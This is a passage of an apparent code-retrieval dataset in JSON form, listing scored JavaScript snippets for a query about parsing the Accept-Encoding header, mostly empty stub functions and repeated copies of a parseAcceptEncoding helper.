\"BrtCellReal\", write_BrtCellReal(cell, o));\n\t\t\treturn;\n\t\tcase 'b':\n\t\t\to.t = \"b\";\n\t\t\twrite_record(ba, \"BrtCellBool\", write_BrtCellBool(cell, o));\n\t\t\treturn;\n\t\tcase 'e': /* TODO: error */ o.t = \"e\"; break;\n\t}\n\twrite_record(ba, \"BrtCellBlank\", write_BrtCellBlank(cell, o));\n}", "title": "" } ]
[ { "docid": "1ac507c5d6aac7c114c1a979ee26340d", "score": "0.6313073", "text": "function __axO4V4GhxjCIJCmJ0hzrQQ() {}", "title": "" }, { "docid": "b1afd331f19af517e3d3303d018ab206", "score": "0.58553594", "text": "function _fn(){ /*...*/ }\t\t//Funzioni private", "title": "" }, { "docid": "1e141ab3582641d14f30dab44d2adb6d", "score": "0.5779125", "text": "getH() { throw new Error('Implement me') }", "title": "" }, { "docid": "0a6f77832d7f956d06ce4e6cc283a6aa", "score": "0.57212245", "text": "__init() {\n\n\t}", "title": "" }, { "docid": "1fce695f68ac3e300fa8c04cfde11991", "score": "0.568887", "text": "function _6yGdN5U6Pj6hvxUip1p9OQ() {}", "title": "" }, { "docid": "cc40508e414cd5b9a616a005574d90ab", "score": "0.5639716", "text": "function _5JLIsfM2BDWu5if6PVH9Mw() {}", "title": "" }, { "docid": "7257c44658cd3dbffdd55c06e8dbf7f6", "score": "0.5595097", "text": "summarize /* istanbul ignore next */ () {}", "title": "" }, { "docid": "a3cc7c5e70da4671a3a904ef120d54a1", "score": "0.5564066", "text": "prepare() {}", "title": "" }, { "docid": "a3cc7c5e70da4671a3a904ef120d54a1", "score": "0.5564066", "text": "prepare() {}", "title": "" }, { "docid": "a3cc7c5e70da4671a3a904ef120d54a1", "score": "0.5564066", "text": "prepare() {}", "title": "" }, { "docid": "dfbdc7a3daa3b9223c53834a26dedc70", "score": "0.55401593", "text": "initialize() {}", "title": "" }, { "docid": "dfbdc7a3daa3b9223c53834a26dedc70", "score": "0.55401593", "text": "initialize() {}", "title": "" }, { "docid": "dfbdc7a3daa3b9223c53834a26dedc70", "score": "0.55401593", "text": "initialize() {}", "title": "" }, { "docid": "dfbdc7a3daa3b9223c53834a26dedc70", "score": "0.55401593", "text": "initialize() {}", "title": "" }, { "docid": "10f4afb80d955af0b4a0f7690ea4c94b", "score": "0.55289876", "text": "function _5Ra3VTLNPzq7ojEKUXMbvA() {}", "title": "" }, { "docid": "1eac1f5c7f96ad4479f9d04051b14faf", "score": "0.5512335", "text": "getW() { throw new Error('Implement me') }", "title": "" }, { "docid": "06e71c40eea88f7914bf337f6eaaedac", "score": "0.54242504", "text": "function _2YQqj_bQsOz2H9NScp8H3BQ() {}", "title": "" }, { "docid": "f9e5050e58babfca28103f3ce0d9015f", "score": "0.5403291", "text": "initialize () {}", "title": "" }, { "docid": "f9e5050e58babfca28103f3ce0d9015f", "score": "0.5403291", "text": "initialize () {}", "title": "" }, { "docid": "f7c125dd3c87a8f1e8c5d1ca2ff4e1aa", "score": "0.5401511", "text": "function mSRQAu7ItjugQsBXE87Mrw() {}", "title": "" }, { "docid": "b0df35d6ab26e08c87a9954ea83f958d", "score": "0.53239053", "text": "load () {\n\t\t\n\t}", "title": "" }, { "docid": "e48e4b7a3aa71df35c483ced1e452129", "score": "0.53050905", "text": "function _2XEbHcHe2jmPYfmsOJUDbA(){}", "title": "" }, { "docid": "a50302dba602669b846804da04cc8aad", "score": "0.52717686", "text": "function nw6PUrLXLjqiWJDOBAtITA() {}", "title": "" }, { "docid": "e7f9245fb860b55c330e752823771ca2", "score": "0.5266628", "text": "constructor()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "77c308d0c7c9dce3aebc021c277bdc52", "score": "0.5263338", "text": "function _82pwGb6BWzOVYZGortTaJw() {}", "title": "" }, { "docid": "9f11183badffc756e10287142244d9b5", "score": "0.5254549", "text": "function rp7SJnnHHDS3bGGGnOxkBw() {}", "title": "" }, { "docid": "034f7dc92c493a57e060d1ed325780de", "score": "0.5232432", "text": "getBase() {}", "title": "" }, { "docid": "c2ab77f5ef828a7079c80a72326c9b96", "score": "0.52178955", "text": "_map_data() { }", "title": "" }, { "docid": "7315b85e2b1e8ca5ca549e896c9c0ec4", "score": "0.52002937", "text": "function $_info() {}", "title": "" }, { "docid": "09cec39c6b7f564c3507791ba0a0450c", "score": "0.51921046", "text": "_firstRendered() {}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.5191833", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.5191833", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.5191833", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.5191833", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.5191833", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.5191833", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.5191833", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.5191833", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.5191833", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.5191833", "text": "function r(){}", "title": "" }, { "docid": "9f4f6f36652f34541517e8bb317956b6", "score": "0.51849604", "text": "function EBB6YpS42zKw0RTPI65LPQ() {}", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "78dc4d7acfbc7b81b7ca903afba98639", "score": "0.5182417", "text": "constructor() {\n \n\n \n \n\n \n\n \n }", "title": "" }, { "docid": "80068fd9c4ecc7909911f4817971b1ff", "score": "0.51752895", "text": "apply() {}", "title": "" }, { "docid": "ce596583ba0a20482b08d4c190eb47ef", "score": "0.5162588", "text": "init() { }", "title": "" }, { "docid": "ce596583ba0a20482b08d4c190eb47ef", "score": "0.5162588", "text": "init() { }", "title": "" }, { "docid": "ce596583ba0a20482b08d4c190eb47ef", "score": "0.5162588", "text": "init() { }", "title": "" }, { "docid": "ce596583ba0a20482b08d4c190eb47ef", "score": "0.5162588", "text": "init() { }", "title": "" }, { "docid": "ce596583ba0a20482b08d4c190eb47ef", "score": "0.5162588", "text": "init() { }", "title": "" }, { "docid": "ce596583ba0a20482b08d4c190eb47ef", "score": "0.5162588", "text": "init() { }", "title": "" }, { "docid": "ce596583ba0a20482b08d4c190eb47ef", "score": "0.5162588", "text": "init() { }", "title": "" }, { "docid": "5f1cf1307c31d47b504d6e704640e37f", "score": "0.5141436", "text": "function SzlSjRxM1DexWk1PpKwx2g() {}", "title": "" }, { "docid": "dfc6f295c9dd468fee7a123badbb6c9b", "score": "0.5132333", "text": "initialize()\n {\n }", "title": "" }, { "docid": "c16cda55c89b87c4ec7720269486eb07", "score": "0.5130532", "text": "constructor() {\n\n\t}", "title": "" }, { "docid": "354cc7485c758321231115ec0e1da984", "score": "0.5127824", "text": "apply() { }", "title": "" }, { "docid": "30b6c3486f0643d1a32bcac38836b101", "score": "0.51155967", "text": "function Helpers(){}", "title": "" }, { "docid": "ad91cf774842c7f01d01e1212f9f184d", "score": "0.5102575", "text": "constructor () { super() }", "title": "" }, { "docid": "ad91cf774842c7f01d01e1212f9f184d", "score": "0.5102575", "text": "constructor () { super() }", "title": "" }, { "docid": "ad91cf774842c7f01d01e1212f9f184d", "score": "0.5102575", "text": "constructor () { super() }", "title": "" }, { "docid": "c7a496a0a1abd803b1cb17a7af315a0e", "score": "0.5099326", "text": "function _r(){}", "title": "" }, { "docid": "e0f4a0fe33b8873b2ba2b1ac441d5829", "score": "0.50937426", "text": "added() {}", "title": "" }, { "docid": "c8b5ab86038bdb6473d08707aa85ab20", "score": "0.509207", "text": "constructor() {\n\t}", "title": "" }, { "docid": "c8b5ab86038bdb6473d08707aa85ab20", "score": "0.509207", "text": "constructor() {\n\t}", "title": "" }, { "docid": "c8b5ab86038bdb6473d08707aa85ab20", "score": "0.509207", "text": "constructor() {\n\t}", "title": "" }, { "docid": "2e3582a22a72c64130a4aa13afd3360c", "score": "0.50881404", "text": "function Helpers() {}", "title": "" }, { "docid": "f4bb834c5e1b55c51ea7eda44e309b8b", "score": "0.5081889", "text": "function InnerloLite() {}", "title": "" }, { "docid": "ad35e0b2fdf40cfa33261b402e1b51eb", "score": "0.5080708", "text": "function KDfpDan_afja0WTIAvRulEg() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.5079846", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.5079846", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.5079846", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.5079846", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.5079846", "text": "init() {}", "title": "" }, { "docid": "2948170530e7f7889e3083545cb3392f", "score": "0.5079846", "text": "init() {}", "title": "" } ]
02d919b53e893e1b57e2daf202eb630e
Parse an encoding from the AcceptEncoding header.
[ { "docid": "db0ec9edc45d5ec657f202c826be892a", "score": "0.59632325", "text": "function parseEncoding(str, i) {\n\t var match = simpleEncodingRegExp.exec(str);\n\t if (!match) return null;\n\n\t var encoding = match[1];\n\t var q = 1;\n\t if (match[2]) {\n\t var params = match[2].split(';');\n\t for (var i = 0; i < params.length; i ++) {\n\t var p = params[i].trim().split('=');\n\t if (p[0] === 'q') {\n\t q = parseFloat(p[1]);\n\t break;\n\t }\n\t }\n\t }\n\n\t return {\n\t encoding: encoding,\n\t q: q,\n\t i: i\n\t };\n\t}", "title": "" } ]
[ { "docid": "c86e27f8ea4885c2a06067cba5facfd4", "score": "0.65908736", "text": "function parseAcceptEncoding(accept) {\n var accepts = accept.split(',');\n var hasIdentity = false;\n var minQuality = 1;\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var encoding = parseEncoding(accepts[i].trim(), i);\n\n if (encoding) {\n accepts[j++] = encoding;\n hasIdentity = hasIdentity || specify$1('identity', encoding);\n minQuality = Math.min(minQuality, encoding.q || 1);\n }\n }\n\n if (!hasIdentity) {\n /*\n * If identity doesn't explicitly appear in the accept-encoding header,\n * it's added to the list of acceptable encoding with the lowest q\n */\n accepts[j++] = {\n encoding: 'identity',\n q: minQuality,\n i: i\n };\n } // trim accepts\n\n\n accepts.length = j;\n return accepts;\n}", "title": "" }, { "docid": "d6ab998e4bc736d48115085db448d638", "score": "0.6590217", "text": "function parseAcceptEncoding(accept) {\n var accepts = accept.split(',');\n var hasIdentity = false;\n var minQuality = 1;\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var encoding = parseEncoding(accepts[i].trim(), i);\n\n if (encoding) {\n accepts[j++] = encoding;\n hasIdentity = hasIdentity || specify('identity', encoding);\n minQuality = Math.min(minQuality, encoding.q || 1);\n }\n }\n\n if (!hasIdentity) {\n /*\n * If identity doesn't explicitly appear in the accept-encoding header,\n * it's added to the list of acceptable encoding with the lowest q\n */\n accepts[j++] = {\n encoding: 'identity',\n q: minQuality,\n i: i\n };\n } // trim accepts\n\n\n accepts.length = j;\n return accepts;\n}", "title": "" }, { "docid": "4b9808183ced8c1fbdd80b10dd241992", "score": "0.6543277", "text": "function parseAcceptEncoding(accept) {\n var accepts = accept.split(',');\n var hasIdentity = false;\n var minQuality = 1;\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var encoding = parseEncoding(accepts[i].trim(), i);\n\n if (encoding) {\n accepts[j++] = encoding;\n hasIdentity = hasIdentity || specify('identity', encoding);\n minQuality = Math.min(minQuality, encoding.q || 1);\n }\n }\n\n if (!hasIdentity) {\n /*\n * If identity doesn't explicitly appear in the accept-encoding header,\n * it's added to the list of acceptable encoding with the lowest q\n */\n accepts[j++] = {\n encoding: 'identity',\n q: minQuality,\n i: i\n };\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n }", "title": "" }, { "docid": "110bb272de9b4369f06f6f0a9abf729f", "score": "0.65319735", "text": "function parseAcceptEncoding(accept) {\n var accepts = accept.split(',');\n var hasIdentity = false;\n var minQuality = 1;\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var encoding = parseEncoding(accepts[i].trim(), i);\n\n if (encoding) {\n accepts[j++] = encoding;\n hasIdentity = hasIdentity || specify('identity', encoding);\n minQuality = Math.min(minQuality, encoding.q || 1);\n }\n }\n\n if (!hasIdentity) {\n /*\n * If identity doesn't explicitly appear in the accept-encoding header,\n * it's added to the list of acceptable encoding with the lowest q\n */\n accepts[j++] = {\n encoding: 'identity',\n q: minQuality,\n i: i\n };\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "110bb272de9b4369f06f6f0a9abf729f", "score": "0.65319735", "text": "function parseAcceptEncoding(accept) {\n var accepts = accept.split(',');\n var hasIdentity = false;\n var minQuality = 1;\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var encoding = parseEncoding(accepts[i].trim(), i);\n\n if (encoding) {\n accepts[j++] = encoding;\n hasIdentity = hasIdentity || specify('identity', encoding);\n minQuality = Math.min(minQuality, encoding.q || 1);\n }\n }\n\n if (!hasIdentity) {\n /*\n * If identity doesn't explicitly appear in the accept-encoding header,\n * it's added to the list of acceptable encoding with the lowest q\n */\n accepts[j++] = {\n encoding: 'identity',\n q: minQuality,\n i: i\n };\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "110bb272de9b4369f06f6f0a9abf729f", "score": "0.65319735", "text": "function parseAcceptEncoding(accept) {\n var accepts = accept.split(',');\n var hasIdentity = false;\n var minQuality = 1;\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var encoding = parseEncoding(accepts[i].trim(), i);\n\n if (encoding) {\n accepts[j++] = encoding;\n hasIdentity = hasIdentity || specify('identity', encoding);\n minQuality = Math.min(minQuality, encoding.q || 1);\n }\n }\n\n if (!hasIdentity) {\n /*\n * If identity doesn't explicitly appear in the accept-encoding header,\n * it's added to the list of acceptable encoding with the lowest q\n */\n accepts[j++] = {\n encoding: 'identity',\n q: minQuality,\n i: i\n };\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "110bb272de9b4369f06f6f0a9abf729f", "score": "0.65319735", "text": "function parseAcceptEncoding(accept) {\n var accepts = accept.split(',');\n var hasIdentity = false;\n var minQuality = 1;\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var encoding = parseEncoding(accepts[i].trim(), i);\n\n if (encoding) {\n accepts[j++] = encoding;\n hasIdentity = hasIdentity || specify('identity', encoding);\n minQuality = Math.min(minQuality, encoding.q || 1);\n }\n }\n\n if (!hasIdentity) {\n /*\n * If identity doesn't explicitly appear in the accept-encoding header,\n * it's added to the list of acceptable encoding with the lowest q\n */\n accepts[j++] = {\n encoding: 'identity',\n q: minQuality,\n i: i\n };\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "110bb272de9b4369f06f6f0a9abf729f", "score": "0.65319735", "text": "function parseAcceptEncoding(accept) {\n var accepts = accept.split(',');\n var hasIdentity = false;\n var minQuality = 1;\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var encoding = parseEncoding(accepts[i].trim(), i);\n\n if (encoding) {\n accepts[j++] = encoding;\n hasIdentity = hasIdentity || specify('identity', encoding);\n minQuality = Math.min(minQuality, encoding.q || 1);\n }\n }\n\n if (!hasIdentity) {\n /*\n * If identity doesn't explicitly appear in the accept-encoding header,\n * it's added to the list of acceptable encoding with the lowest q\n */\n accepts[j++] = {\n encoding: 'identity',\n q: minQuality,\n i: i\n };\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "110bb272de9b4369f06f6f0a9abf729f", "score": "0.65319735", "text": "function parseAcceptEncoding(accept) {\n var accepts = accept.split(',');\n var hasIdentity = false;\n var minQuality = 1;\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var encoding = parseEncoding(accepts[i].trim(), i);\n\n if (encoding) {\n accepts[j++] = encoding;\n hasIdentity = hasIdentity || specify('identity', encoding);\n minQuality = Math.min(minQuality, encoding.q || 1);\n }\n }\n\n if (!hasIdentity) {\n /*\n * If identity doesn't explicitly appear in the accept-encoding header,\n * it's added to the list of acceptable encoding with the lowest q\n */\n accepts[j++] = {\n encoding: 'identity',\n q: minQuality,\n i: i\n };\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "110bb272de9b4369f06f6f0a9abf729f", "score": "0.65319735", "text": "function parseAcceptEncoding(accept) {\n var accepts = accept.split(',');\n var hasIdentity = false;\n var minQuality = 1;\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var encoding = parseEncoding(accepts[i].trim(), i);\n\n if (encoding) {\n accepts[j++] = encoding;\n hasIdentity = hasIdentity || specify('identity', encoding);\n minQuality = Math.min(minQuality, encoding.q || 1);\n }\n }\n\n if (!hasIdentity) {\n /*\n * If identity doesn't explicitly appear in the accept-encoding header,\n * it's added to the list of acceptable encoding with the lowest q\n */\n accepts[j++] = {\n encoding: 'identity',\n q: minQuality,\n i: i\n };\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "110bb272de9b4369f06f6f0a9abf729f", "score": "0.65319735", "text": "function parseAcceptEncoding(accept) {\n var accepts = accept.split(',');\n var hasIdentity = false;\n var minQuality = 1;\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var encoding = parseEncoding(accepts[i].trim(), i);\n\n if (encoding) {\n accepts[j++] = encoding;\n hasIdentity = hasIdentity || specify('identity', encoding);\n minQuality = Math.min(minQuality, encoding.q || 1);\n }\n }\n\n if (!hasIdentity) {\n /*\n * If identity doesn't explicitly appear in the accept-encoding header,\n * it's added to the list of acceptable encoding with the lowest q\n */\n accepts[j++] = {\n encoding: 'identity',\n q: minQuality,\n i: i\n };\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "110bb272de9b4369f06f6f0a9abf729f", "score": "0.65319735", "text": "function parseAcceptEncoding(accept) {\n var accepts = accept.split(',');\n var hasIdentity = false;\n var minQuality = 1;\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var encoding = parseEncoding(accepts[i].trim(), i);\n\n if (encoding) {\n accepts[j++] = encoding;\n hasIdentity = hasIdentity || specify('identity', encoding);\n minQuality = Math.min(minQuality, encoding.q || 1);\n }\n }\n\n if (!hasIdentity) {\n /*\n * If identity doesn't explicitly appear in the accept-encoding header,\n * it's added to the list of acceptable encoding with the lowest q\n */\n accepts[j++] = {\n encoding: 'identity',\n q: minQuality,\n i: i\n };\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "110bb272de9b4369f06f6f0a9abf729f", "score": "0.65319735", "text": "function parseAcceptEncoding(accept) {\n var accepts = accept.split(',');\n var hasIdentity = false;\n var minQuality = 1;\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var encoding = parseEncoding(accepts[i].trim(), i);\n\n if (encoding) {\n accepts[j++] = encoding;\n hasIdentity = hasIdentity || specify('identity', encoding);\n minQuality = Math.min(minQuality, encoding.q || 1);\n }\n }\n\n if (!hasIdentity) {\n /*\n * If identity doesn't explicitly appear in the accept-encoding header,\n * it's added to the list of acceptable encoding with the lowest q\n */\n accepts[j++] = {\n encoding: 'identity',\n q: minQuality,\n i: i\n };\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "110bb272de9b4369f06f6f0a9abf729f", "score": "0.65319735", "text": "function parseAcceptEncoding(accept) {\n var accepts = accept.split(',');\n var hasIdentity = false;\n var minQuality = 1;\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var encoding = parseEncoding(accepts[i].trim(), i);\n\n if (encoding) {\n accepts[j++] = encoding;\n hasIdentity = hasIdentity || specify('identity', encoding);\n minQuality = Math.min(minQuality, encoding.q || 1);\n }\n }\n\n if (!hasIdentity) {\n /*\n * If identity doesn't explicitly appear in the accept-encoding header,\n * it's added to the list of acceptable encoding with the lowest q\n */\n accepts[j++] = {\n encoding: 'identity',\n q: minQuality,\n i: i\n };\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "110bb272de9b4369f06f6f0a9abf729f", "score": "0.65319735", "text": "function parseAcceptEncoding(accept) {\n var accepts = accept.split(',');\n var hasIdentity = false;\n var minQuality = 1;\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var encoding = parseEncoding(accepts[i].trim(), i);\n\n if (encoding) {\n accepts[j++] = encoding;\n hasIdentity = hasIdentity || specify('identity', encoding);\n minQuality = Math.min(minQuality, encoding.q || 1);\n }\n }\n\n if (!hasIdentity) {\n /*\n * If identity doesn't explicitly appear in the accept-encoding header,\n * it's added to the list of acceptable encoding with the lowest q\n */\n accepts[j++] = {\n encoding: 'identity',\n q: minQuality,\n i: i\n };\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "110bb272de9b4369f06f6f0a9abf729f", "score": "0.65319735", "text": "function parseAcceptEncoding(accept) {\n var accepts = accept.split(',');\n var hasIdentity = false;\n var minQuality = 1;\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var encoding = parseEncoding(accepts[i].trim(), i);\n\n if (encoding) {\n accepts[j++] = encoding;\n hasIdentity = hasIdentity || specify('identity', encoding);\n minQuality = Math.min(minQuality, encoding.q || 1);\n }\n }\n\n if (!hasIdentity) {\n /*\n * If identity doesn't explicitly appear in the accept-encoding header,\n * it's added to the list of acceptable encoding with the lowest q\n */\n accepts[j++] = {\n encoding: 'identity',\n q: minQuality,\n i: i\n };\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "110bb272de9b4369f06f6f0a9abf729f", "score": "0.65319735", "text": "function parseAcceptEncoding(accept) {\n var accepts = accept.split(',');\n var hasIdentity = false;\n var minQuality = 1;\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var encoding = parseEncoding(accepts[i].trim(), i);\n\n if (encoding) {\n accepts[j++] = encoding;\n hasIdentity = hasIdentity || specify('identity', encoding);\n minQuality = Math.min(minQuality, encoding.q || 1);\n }\n }\n\n if (!hasIdentity) {\n /*\n * If identity doesn't explicitly appear in the accept-encoding header,\n * it's added to the list of acceptable encoding with the lowest q\n */\n accepts[j++] = {\n encoding: 'identity',\n q: minQuality,\n i: i\n };\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "110bb272de9b4369f06f6f0a9abf729f", "score": "0.65319735", "text": "function parseAcceptEncoding(accept) {\n var accepts = accept.split(',');\n var hasIdentity = false;\n var minQuality = 1;\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var encoding = parseEncoding(accepts[i].trim(), i);\n\n if (encoding) {\n accepts[j++] = encoding;\n hasIdentity = hasIdentity || specify('identity', encoding);\n minQuality = Math.min(minQuality, encoding.q || 1);\n }\n }\n\n if (!hasIdentity) {\n /*\n * If identity doesn't explicitly appear in the accept-encoding header,\n * it's added to the list of acceptable encoding with the lowest q\n */\n accepts[j++] = {\n encoding: 'identity',\n q: minQuality,\n i: i\n };\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "110bb272de9b4369f06f6f0a9abf729f", "score": "0.65319735", "text": "function parseAcceptEncoding(accept) {\n var accepts = accept.split(',');\n var hasIdentity = false;\n var minQuality = 1;\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var encoding = parseEncoding(accepts[i].trim(), i);\n\n if (encoding) {\n accepts[j++] = encoding;\n hasIdentity = hasIdentity || specify('identity', encoding);\n minQuality = Math.min(minQuality, encoding.q || 1);\n }\n }\n\n if (!hasIdentity) {\n /*\n * If identity doesn't explicitly appear in the accept-encoding header,\n * it's added to the list of acceptable encoding with the lowest q\n */\n accepts[j++] = {\n encoding: 'identity',\n q: minQuality,\n i: i\n };\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "110bb272de9b4369f06f6f0a9abf729f", "score": "0.65319735", "text": "function parseAcceptEncoding(accept) {\n var accepts = accept.split(',');\n var hasIdentity = false;\n var minQuality = 1;\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var encoding = parseEncoding(accepts[i].trim(), i);\n\n if (encoding) {\n accepts[j++] = encoding;\n hasIdentity = hasIdentity || specify('identity', encoding);\n minQuality = Math.min(minQuality, encoding.q || 1);\n }\n }\n\n if (!hasIdentity) {\n /*\n * If identity doesn't explicitly appear in the accept-encoding header,\n * it's added to the list of acceptable encoding with the lowest q\n */\n accepts[j++] = {\n encoding: 'identity',\n q: minQuality,\n i: i\n };\n }\n\n // trim accepts\n accepts.length = j;\n\n return accepts;\n}", "title": "" }, { "docid": "110bb272de9b4369f06f6f0a9abf729f", "score": "0.65319735", "text": "function parseAcceptEncoding(accept) {\n var accepts = accept.split(',');\n var hasIdentity = false;\n var minQuality = 1;\n\n for (var i = 0, j = 0; i < accepts.length; i++) {\n var encoding = parseEncoding(accepts[i].trim(), i);\n\n if (encoding) {\n accepts[j++] = encoding;\n hasIdentity = hasIdentity || specify('identity', encoding);\n 